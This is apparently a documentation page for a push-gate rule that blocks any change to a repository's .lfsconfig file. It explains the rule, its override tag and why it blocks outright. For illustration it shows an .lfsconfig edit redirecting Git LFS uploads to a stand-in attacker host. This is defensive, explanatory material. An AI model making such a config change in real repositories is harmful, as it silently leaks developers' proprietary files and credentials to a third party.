Docs menu

No .lfsconfig changes

BLOCK Frame git/no-lfsconfig-changes
On this page

Block any add / modify / delete of .lfsconfig. The file controls where Git LFS uploads go; a one-line change can silently redirect every future LFS upload from a dev machine to an attacker’s server, where they’re recorded forever and the dev never knows.

The attack this catches#

# .lfsconfig (committed in the repo)
[lfs]
url = https://lfs.legitimate-upstream.com/api/lfs

Pushed change:

[lfs]
url = https://lfs.attacker.example.com/api/lfs

After this push lands, every git push from any dev machine that pulls the repo will upload LFS objects (often binary assets containing proprietary code, ML weights, or credentials embedded in images) to the attacker’s server instead of the real upstream. The git protocol layer shows nothing wrong - the pointer files commit cleanly. The bytes leak on a different wire that nimblegate isn’t watching.

Same attack via .gitconfig is not in scope here (git config doesn’t ship in a repo); same attack via per-clone git config remote.<x>.lfsurl is not in scope either (local to a single machine). The committed .lfsconfig is the in-repo channel for this redirection, and that’s what this frame closes.

When it fires#

Any push (or pre-commit / CLI scan) where .lfsconfig is in the staged or changed file set - added, modified, or removed. Block by default; the operator should treat any .lfsconfig change as an out-of-band review event, not a regular code change.

Override#

If you legitimately need to change the LFS endpoint (rare - most repos set it once and never touch it), tag the commit message:

appframes:disable git/no-lfsconfig-changes - reason: moving from
hosted gitea to self-hosted minio LFS server, approved by <reviewer>

The disable marker on the commit message scopes the override to that single commit. Future changes to .lfsconfig still fire the frame normally.

Why this is BLOCK not WARN#

LFS-redirection attacks are silent + persistent + catastrophic. The dev never sees a warning at upload time (LFS just goes wherever the config points), the attacker accumulates uploads indefinitely, and detection typically only happens during incident response after a separate signal (e.g., “why is our binary asset on this random domain”). BLOCK at push time is the only point of intervention that scales.

BLOCK rejects the push. Turn frames on per repo on the dashboard's Policy page - see choosing what the gate checks.

Source on GitHub Live demo How it works Questions: contact@nimblegate.com